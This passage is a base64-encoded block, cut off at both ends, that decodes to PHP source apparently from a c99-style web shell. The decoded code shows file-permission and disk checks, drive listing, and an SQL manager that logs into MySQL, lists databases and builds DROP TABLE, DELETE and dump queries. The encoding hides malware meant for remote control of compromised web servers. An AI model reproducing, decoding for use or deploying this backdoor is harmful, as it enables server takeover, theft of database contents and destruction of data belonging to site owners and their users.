Kys7Cn0KZWNobyAiJm5ic3A7Jm5ic3A7Jm5ic3A7IjsKaWYgKGlzX3dyaXRhYmxlKCRkKSkKewogJHdk
ID0gVFJVRTsKICR3ZHQgPSAiPGZvbnQgY29sb3I9Z3JlZW4+WyBvayBdPC9mb250PiI7CiBlY2hvICI8
Yj48Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRkKSkuIjwvZm9udD48L2I+
IjsKfQplbHNlCnsKICR3ZCA9IEZBTFNFOwogJHdkdCA9ICI8Zm9udCBjb2xvcj1yZWQ+WyBSZWFkLU9u
bHkgXTwvZm9udD4iOwogZWNobyAiPGI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkKS4iPC9iPiI7Cn0KaWYg
KGlzX2NhbGxhYmxlKCJkaXNrX2ZyZWVfc3BhY2UiKSkKewogJGZyZWUgPSBkaXNrX2ZyZWVfc3BhY2Uo
JGQpOwogJHRvdGFsID0gZGlza190b3RhbF9zcGFjZSgkZCk7CiBpZiAoJGZyZWUgPT09IEZBTFNFKSB7
JGZyZWUgPSAwO30KIGlmICgkdG90YWwgPT09IEZBTFNFKSB7JHRvdGFsID0gMDt9CiBpZiAoJGZyZWUg
PCAwKSB7JGZyZWUgPSAwO30KIGlmICgkdG90YWwgPCAwKSB7JHRvdGFsID0gMDt9CiAkdXNlZCA9ICR0
b3RhbC0kZnJlZTsKICRmcmVlX3BlcmNlbnQgPSByb3VuZCgxMDAvKCR0b3RhbC8kZnJlZSksMik7CiBl
Y2hvICI8YnI+PGI+RnJlZSAiLnZpZXdfc2l6ZSgkZnJlZSkuIiBvZiAiLnZpZXdfc2l6ZSgkdG90YWwp
LiIgKCIuJGZyZWVfcGVyY2VudC4iJSk8L2I+IjsKfQplY2hvICI8YnI+IjsKJGxldHRlcnMgPSAiIjsK
aWYgKCR3aW4pCnsKICR2ID0gZXhwbG9kZSgiXFwiLCRkKTsKICR2ID0gJHZbMF07CiBmb3JlYWNoIChy
YW5nZSgiYSIsInoiKSBhcyAkbGV0dGVyKQogewogICRib29sID0gJGlzZGlza2V0dGUgPSBpbl9hcnJh
eSgkbGV0dGVyLCRzYWZlbW9kZV9kaXNrZXR0ZXMpOwogIGlmICghJGJvb2wpIHskYm9vbCA9IGlzX2Rp
cigkbGV0dGVyLiI6XFwiKTt9CiAgaWYgKCRib29sKQogIHsKICAgJGxldHRlcnMgLj0gIjxhIGhyZWY9
XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLnVybGVuY29kZSgkbGV0dGVyLiI6XFwiKS4iXCIiLigkaXNkaXNr
ZXR0ZT8iIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnTWFrZSBzdXJlIHRoYXQgdGhlIGRpc2tldHRl
IGlzIGluc2VydGVkIHByb3Blcmx5LCBvdGhlcndpc2UgYW4gZXJyb3IgbWF5IG9jY3VyLicpXCIiOiIi
KS4iPlsgIjsKICAgaWYgKCRsZXR0ZXIuIjoiICE9ICR2KSB7JGxldHRlcnMgLj0gJGxldHRlcjt9CiAg
IGVsc2UgeyRsZXR0ZXJzIC49ICI8Zm9udCBjb2xvcj1ncmVlbj4iLiRsZXR0ZXIuIjwvZm9udD4iO30K
ICAgJGxldHRlcnMgLj0gIiBdPC9hPiAiOwogIH0KIH0KIGlmICghZW1wdHkoJGxldHRlcnMpKSB7ZWNo
byAiPGI+RGV0ZWN0ZWQgZHJpdmVzPC9iPjogIi4kbGV0dGVycy4iPGJyPiI7fQp9CmlmIChjb3VudCgk
cXVpY2tsYXVuY2gpID4gMCkKewogZm9yZWFjaCgkcXVpY2tsYXVuY2ggYXMgJGl0ZW0pCiB7CiAgJGl0
ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJWQiLHVybGVuY29kZSgkZCksJGl0ZW1bMV0pOwogICRpdGVtWzFd
ID0gc3RyX3JlcGxhY2UoIiVzb3J0Iiwkc29ydCwkaXRlbVsxXSk7CiAgJHYgPSByZWFscGF0aCgkZC4i
Li4iKTsKICBpZiAoZW1wdHkoJHYpKSB7JGEgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJGQp
OyB1bnNldCgkYVtjb3VudCgkYSktMl0pOyAkdiA9IGpvaW4oRElSRUNUT1JZX1NFUEFSQVRPUiwkYSk7
fQogICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiV1cGQiLHVybGVuY29kZSgkdiksJGl0ZW1bMV0pOwog
IGVjaG8gIjxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+Jm5ic3A7Jm5ic3A7
Jm5ic3A7Jm5ic3A7IjsKIH0KfQplY2hvICI8L3A+PC90ZD48L3RyPjwvdGFibGU+PGJyPiI7CmlmICgo
IWVtcHR5KCRkb25hdGVkX2h0bWwpKSBhbmQgKGluX2FycmF5KCRhY3QsJGRvbmF0ZWRfYWN0KSkpIHtl
Y2hvICI8VEFCTEUgc3R5bGU9XCJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlXCIgY2VsbFNwYWNpbmc9
MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnQ29s
b3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD1c
IjEwMCVcIiB2YWxpZ249XCJ0b3BcIj4iLiRkb25hdGVkX2h0bWwuIjwvdGQ+PC90cj48L3RhYmxlPjxi
cj4iO30KZWNobyAiPFRBQkxFIHN0eWxlPVwiQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZVwiIGNlbGxT
cGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVc
IiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQg
d2lkdGg9XCIxMDAlXCIgdmFsaWduPVwidG9wXCI+IjsKaWYgKCRhY3QgPT0gIiIpIHskYWN0ID0gJGRz
cGFjdCA9ICJscyI7fQppZiAoJGFjdCA9PSAic3FsIikKewogJHNxbF9zdXJsID0gJHN1cmwuImFjdD1z
cWwiOwogaWYgKCRzcWxfbG9naW4pICB7JHNxbF9zdXJsIC49ICImc3FsX2xvZ2luPSIuaHRtbHNwZWNp
YWxjaGFycygkc3FsX2xvZ2luKTt9CiBpZiAoJHNxbF9wYXNzd2QpIHskc3FsX3N1cmwgLj0gIiZzcWxf
cGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7fQogaWYgKCRzcWxfc2VydmVyKSB7
JHNxbF9zdXJsIC49ICImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpO30K
IGlmICgkc3FsX3BvcnQpICAgeyRzcWxfc3VybCAuPSAiJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGF
ycygkc3FsX3BvcnQpO30KIGlmICgkc3FsX2RiKSAgICAgeyRzcWxfc3VybCAuPSAiJnNxbF9kYj0iLmh
0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7fQogJHNxbF9zdXJsIC49ICImIjsKID8+PGgzPkF0dGVudGl
vbiEgU1FMLU1hbmFnZXIgaXMgPHU+Tk9UPC91PiByZWFkeSBtb2R1bGUhIERvbid0IHJlcG9ydHMgYnV
ncy48L2gzPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgaGVpZ2h0PTEgY2V
sbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPSIxMDA
lIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xIGJvcmRlcmN
vbG9yPSIjQzBDMEMwIj48dHI+PHRkIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiIGNvbHNwYW49IjIiIHZ
hbGlnbj0idG9wIj48Y2VudGVyPjw/cGhwCiBpZiAoJHNxbF9zZXJ2ZXIpCiB7CiAgJHNxbF9zb2NrID0
gbXlzcWxfY29ubmVjdCgkc3FsX3NlcnZlci4iOiIuJHNxbF9wb3J0LCAkc3FsX2xvZ2luLCAkc3FsX3B
hc3N3ZCk7CiAgJGVyciA9IG15c3FsX3NtYXJ0ZXJyb3IoKTsKICBAbXlzcWxfc2VsZWN0X2RiKCRzcWx
fZGIsJHNxbF9zb2NrKTsKICBpZiAoJHNxbF9xdWVyeSBhbmQgJHN1Ym1pdCkgeyRzcWxfcXVlcnlfcmV
zdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3NvY2spOyAkc3FsX3F1ZXJ5X2Vycm9yID0
gbXlzcWxfc21hcnRlcnJvcigpO30KIH0KIGVsc2UgeyRzcWxfc29jayA9IEZBTFNFO30KIGVjaG8gIjx
iPlNRTCBNYW5hZ2VyOjwvYj48YnI+IjsKIGlmICghJHNxbF9zb2NrKQogewogIGlmICghJHNxbF9zZXJ
2ZXIpIHtlY2hvICJOTyBDT05ORUNUSU9OIjt9CiAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5DYW4ndCB
jb25uZWN0PC9iPjwvY2VudGVyPiI7IGVjaG8gIjxiPiIuJGVyci4iPC9iPiI7fQogfQogZWxzZQogewo
gICRzcWxxdWlja2xhdW5jaCA9IGFycmF5KCk7CiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiSW5
kZXgiLCRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik
uIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSI
uaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnM
oJHNxbF9wb3J0KS4iJiIpOwogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlF1ZXJ5Iiwkc3FsX3N
1cmwuInNxbF9hY3Q9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkpOwogICRzcWxxdWl
ja2xhdW5jaFtdID0gYXJyYXkoIlNlcnZlci1zdGF0dXMiLCRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0
iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGF
ycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik
uIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF9hY3Q9c2VydmVyc3R
hdHVzIik7CiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiU2VydmVyIHZhcmlhYmxlcyIsJHN1cmw
uImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXN
zd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2l
hbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQ
pLiImc3FsX2FjdD1zZXJ2ZXJ2YXJzIik7CiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUHJvY2V
zc2VzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4
pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0
iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJ
zKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXByb2Nlc3NlcyIpOwogICRzcWxxdWlja2xhdW5jaFtdID0gYXJ
yYXkoIkxvZ291dCIsJHN1cmwuImFjdD1zcWwiKTsKICBlY2hvICI8Y2VudGVyPjxiPk15U1FMICIubXl
zcWxfZ2V0X3NlcnZlcl9pbmZvKCkuIiAocHJvdG8gdi4iLm15c3FsX2dldF9wcm90b19pbmZvICgpLiI
pIHJ1bm5pbmcgaW4gIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iOiIuaHRtbHNwZWNpYWx
jaGFycygkc3FsX3BvcnQpLiIgYXMgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJAIi5odG1
sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iIChwYXNzd29yZCAtIFwiIi5odG1sc3BlY2lhbGNoYXJ
zKCRzcWxfcGFzc3dkKS4iXCIpPC9iPjxicj4iOwogIGlmIChjb3VudCgkc3FscXVpY2tsYXVuY2gpID4
gMCkge2ZvcmVhY2goJHNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7ZWNobyAiWyA8YSBocmVmPVwiIi4
kaXRlbVsxXS4iXCI+PGI+Ii4kaXRlbVswXS4iPC9iPjwvYT4gXSAiO319CiAgZWNobyAiPC9jZW50ZXI
+IjsKIH0KIGVjaG8gIjwvdGQ+PC90cj48dHI+IjsKIGlmICghJHNxbF9zb2NrKSB7Pz48dGQgd2lkdGg
9IjI4JSIgaGVpZ2h0PSIxMDAiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxmb250IHNpemU9IjUiPiBpIDw
vZm9udD48L2NlbnRlcj48bGk+SWYgbG9naW4gaXMgbnVsbCwgbG9naW4gaXMgb3duZXIgb2YgcHJvY2V
zcy48bGk+SWYgaG9zdCBpcyBudWxsLCBob3N0IGlzIGxvY2FsaG9zdDwvYj48bGk+SWYgcG9ydCBpcyB
udWxsLCBwb3J0IGlzIDMzMDYgKGRlZmF1bHQpPC90ZD48dGQgd2lkdGg9IjkwJSIgaGVpZ2h0PSIxIiB
2YWxpZ249InRvcCI+PFRBQkxFIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCB3aWR
0aD0iMTAwJSIgYm9yZGVyPTA+PHRyPjx0ZD4mbmJzcDs8Yj5QbGVhc2UsIGZpbGwgdGhlIGZvcm06PC9
iPjx0YWJsZT48dHI+PHRkPjxiPlVzZXJuYW1lPC9iPjwvdGQ+PHRkPjxiPlBhc3N3b3JkPC9iPiZuYnN
wOzwvdGQ+PHRkPjxiPkRhdGFiYXNlPC9iPiZuYnNwOzwvdGQ+PC90cj48Zm9ybSBhY3Rpb249Ijw/cGh
wIGVjaG8gJHN1cmw7ID8+IiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImF
jdCIgdmFsdWU9InNxbCI+PHRyPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2xvZ2luIiB
2YWx1ZT0icm9vdCIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InBhc3N3b3JkIiB
uYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iIiBtYXhsZW5ndGg9IjY0Ij48L3RkPjx0ZD48aW5wdXQgdHl
wZT0idGV4dCIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iIiBtYXhsZW5ndGg9IjY0Ij48L3RkPjwvdHI+PHR
yPjx0ZD48Yj5Ib3N0PC9iPjwvdGQ+PHRkPjxiPlBPUlQ8L2I+PC90ZD48L3RyPjx0cj48dGQgYWxpZ24
9cmlnaHQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSJsb2NhbGhvc3Q
iIG1heGxlbmd0aD0iNjQiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfcG9ydCI
gdmFsdWU9IjMzMDYiIG1heGxlbmd0aD0iNiIgc2l6ZT0iMyI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InN
1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PC90cj48L2Zvcm0+PC9
0YWJsZT48L3RkPjw/cGhwIH0KIGVsc2UKIHsKICAvL1N0YXJ0IGxlZnQgcGFuZWwKICBpZiAoIWVtcHR
5KCRzcWxfZGIpKQogIHsKICAgPz48dGQgd2lkdGg9IjI1JSIgaGVpZ2h0PSIxMDAlIiB2YWxpZ249InR
vcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2l
hbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXN
zd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ
9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiYiOyA/PiI+PGI+SG9tZTwvYj48L2E+PGhyIHN
pemU9IjEiIG5vc2hhZGU+PD9waHAKICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfdGFibGVzKCRzcWxfZGI
pOwogICBpZiAoISRyZXN1bHQpIHtlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTt9CiAgIGVsc2UKICAgewo
gICAgZWNobyAiLS0tWyA8YSBocmVmPVwiIi4kc3FsX3N1cmwuIiZcIj48Yj4iLmh0bWxzcGVjaWFsY2h
hcnMoJHNxbF9kYikuIjwvYj48L2E+IF0tLS08YnI+IjsKICAgICRjID0gMDsKICAgIHdoaWxlICgkcm9
3ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHskY291bnQgPSBteXNxbF9xdWVyeSAoIlNFTEV
DVCBDT1VOVCgqKSBGUk9NICIuJHJvd1swXSk7ICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSg
kY291bnQpOyBlY2hvICI8Yj67Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfZGI9Ii5odG1
sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiImc3FsX3RibD0iLmh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSk
uIlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkcm93WzBdKS4iPC9iPjwvYT4gKCIuJGNvdW50X3Jvd1s
wXS4iKTwvYnI+PC9iPiI7IG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7ICRjKys7fQogICAgaWYgKCE
kYykge2VjaG8gIk5vIHRhYmxlcyBmb3VuZCBpbiBkYXRhYmFzZS4iO30KICAgfQogIH0KICBlbHNlCiA
gewogICA/Pjx0ZCB3aWR0aD0iMSIgaGVpZ2h0PSIxMDAiIHZhbGlnbj0idG9wIj48YSBocmVmPSI8P3B
ocCBlY2hvICRzcWxfc3VybDsgPz4iPjxiPkhvbWU8L2I+PC9hPjxociBzaXplPSIxIiBub3NoYWRlPjw
/cGhwCiAgICRyZXN1bHQgPSBteXNxbF9saXN0X2Ricygkc3FsX3NvY2spOwogICBpZiAoISRyZXN1bHQ
pIHtlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTt9CiAgIGVsc2UKICAgewogICAgPz48Zm9ybSBhY3Rpb24
9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHV
lPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGV
jaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5
hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXN
zd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGh
wIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGV
uIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3B
vcnQpOyA/PiI+PHNlbGVjdCBuYW1lPSJzcWxfZGIiPjw/cGhwCiAgICAkYyA9IDA7CiAgICAkZGJzID0
gIiI7CiAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzdWx0KSkgeyRkYnMgLj0gIjx
vcHRpb24gdmFsdWU9XCIiLiRyb3dbMF0uIlwiIjsgaWYgKCRzcWxfZGIgPT0gJHJvd1swXSkgeyRkYnM
gLj0gIiBzZWxlY3RlZCI7fSAkZGJzIC49ICI+Ii4kcm93WzBdLiI8L29wdGlvbj4iOyAkYysrO30KICA
gIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5EYXRhYmFzZXMgKCIuJGMuIik8L29wdGlvbj4iOwogICA
gZWNobyAkZGJzOwogICB9CiAgID8+PC9zZWxlY3Q+PGhyIHNpemU9IjEiIG5vc2hhZGU+UGxlYXNlLCB
zZWxlY3QgZGF0YWJhc2U8aHIgc2l6ZT0iMSIgbm9zaGFkZT48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx
1ZT0iR28iPjwvZm9ybT48P3BocAogIH0KICAvL0VuZCBsZWZ0IHBhbmVsCiAgZWNobyAiPC90ZD48dGQ
gd2lkdGg9XCIxMDAlXCIgaGVpZ2h0PVwiMVwiIHZhbGlnbj1cInRvcFwiPiI7CiAgLy9TdGFydCBjZW5
0ZXIgcGFuZWwKICAkZGlwbGF5ID0gVFJVRTsKICBpZiAoJHNxbF9kYikKICB7CiAgIGlmICghaXNfbnV
tZXJpYygkYykpIHskYyA9IDA7fQogICBpZiAoJGMgPT0gMCkgeyRjID0gIm5vIjt9CiAgIGVjaG8gIjx
ociBzaXplPVwiMVwiIG5vc2hhZGU+PGNlbnRlcj48Yj5UaGVyZSBhcmUgIi4kYy4iIHRhYmxlKHMpIGl
uIHRoaXMgREIgKCIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iKS48YnI+IjsKICAgaWYgKGNvdW5
0KCRkYnF1aWNrbGF1bmNoKSA+IDApIHtmb3JlYWNoKCRkYnNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB
7ZWNobyAiWyA8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPiBdICI7fX0KICA
gZWNobyAiPC9iPjwvY2VudGVyPiI7CiAgICRhY3RzID0gYXJyYXkoIiIsImR1bXAiKTsKICAgaWYgKCR
zcWxfYWN0ID09ICJ0Ymxkcm9wIikgeyRzcWxfcXVlcnkgPSAiRFJPUCBUQUJMRSI7IGZvcmVhY2goJGJ
veHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3V
ic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQogICBlbHNlaWYgKCR
zcWxfYWN0ID09ICJ0YmxlbXB0eSIpIHskc3FsX3F1ZXJ5ID0gIiI7IGZvcmVhY2goJGJveHRibCBhcyA
kdikgeyRzcWxfcXVlcnkgLj0gIkRFTEVURSBGUk9NIGAiLiR2LiJgIFxuIjt9ICRzcWxfYWN0ID0gInF
1ZXJ5Ijt9CiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGR1bXAiKSB7aWYgKGNvdW50KCRib3h0Ymw
pID4gMCkgeyRkbXB0YmxzID0gJGJveHRibDt9IGVsc2VpZigkdGhpc3RibCkgeyRkbXB0YmxzID0gYXJ
yYXkoJHNxbF90YmwpO30gJHNxbF9hY3QgPSAiZHVtcCI7fQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ
0YmxjaGVjayIpIHskc3FsX3F1ZXJ5ID0gIkNIRUNLIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR
2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9
xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9CiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0
gInRibG9wdGltaXplIikgeyRzcWxfcXVlcnkgPSAiT1BUSU1JWkUgVEFCTEUiOyBmb3JlYWNoKCRib3h
0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN
0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30KICAgZWxzZWlmICgkc3F
sX2FjdCA9PSAidGJscmVwYWlyIikgeyRzcWxfcXVlcnkgPSAiUkVQQUlSIFRBQkxFIjsgZm9yZWFjaCg
kYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSB
zdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9CiAgIGVsc2VpZiA
oJHNxbF9hY3QgPT0gInRibGFuYWx5emUiKSB7JHNxbF9xdWVyeSA9ICJBTkFMWVpFIFRBQkxFIjsgZm9
yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcX
VlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9CiAgIG
Vsc2VpZiAoJHNxbF9hY3QgPT0gImRlbGV0ZXJvdyIpIHskc3FsX3F1ZXJ5ID0gIiI7IGlmICghZW1wdH
koJGJveHJvd19hbGwpKSB7JHNxbF9xdWVyeSA9ICJERUxFVEUgKiBGUk9NIGAiLiRzcWxfdGJsLiJgOy
I7fSBlbHNlIHtmb3JlYWNoKCRib3hyb3cgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgKiBGUk
9NIGAiLiRzcWxfdGJsLiJgIFdIRVJFIi4kdi4iIExJTUlUIDE7XG4iO30gJHNxbF9xdWVyeSA9IHN1Yn
N0cigkc3FsX3F1ZXJ5LDAsLTEpO30gJHNxbF9hY3QgPSAicXVlcnkiO30KICAgZWxzZWlmICgkc3FsX3
RibF9hY3QgPT0gImluc2VydCIpCiAgIHsKICAgIGlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMS
kKICAgIHsKICAgICAka2V5cyA9ICIiOwogICAgICRha2V5cyA9IGFycmF5X2tleXMoJHNxbF90YmxfaW
5zZXJ0KTsKICAgICBmb3JlYWNoICgkYWtleXMgYXMgJHYpIHska2V5cyAuPSAiYCIuYWRkc2xhc2hlcy
gkdikuImAsICI7fQogICAgIGlmICghZW1wdHkoJGtleXMpKSB7JGtleXMgPSBzdWJzdHIoJGtleXMsMC
xzdHJsZW4oJGtleXMpLTIpO30KICAgICAkdmFsdWVzID0gIiI7CiAgICAgJGkgPSAwOwogICAgIGZvcm
VhY2ggKGFycmF5X3ZhbHVlcygkc3FsX3RibF9pbnNlcnQpIGFzICR2KSB7aWYgKCRmdW5jdCA9ICRzcW
xfdGJsX2luc2VydF9mdW5jdHNbJGFrZXlzWyRpXV0pIHskdmFsdWVzIC49ICRmdW5jdC4iICgiO30gJH
ZhbHVlcyAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOyBpZiAoJGZ1bmN0KSB7JHZhbHVlcyAuPSAiKS
I7fSAkdmFsdWVzIC49ICIsICI7ICRpKys7fQogICAgIGlmICghZW1wdHkoJHZhbHVlcykpIHskdmFsdW
VzID0gc3Vic3RyKCR2YWx1ZXMsMCxzdHJsZW4oJHZhbHVlcyktMik7fQogICAgICRzcWxfcXVlcnkgPS
AiSU5TRVJUIElOVE8gYCIuJHNxbF90YmwuImAgKCAiLiRrZXlzLiIgKSBWQUxVRVMgKCAiLiR2YWx1ZX
MuIiApOyI7CiAgICAgJHNxbF9hY3QgPSAicXVlcnkiOwogICAgICRzcWxfdGJsX2FjdCA9ICJicm93c2
UiOwogICAgfQogICAgZWxzZWlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMikKICAgIHsKICAgIC
Akc2V0ID0gbXlzcWxfYnVpbGR3aGVyZSgkc3FsX3RibF9pbnNlcnQsIiwgIiwkc3FsX3RibF9pbnNlcn
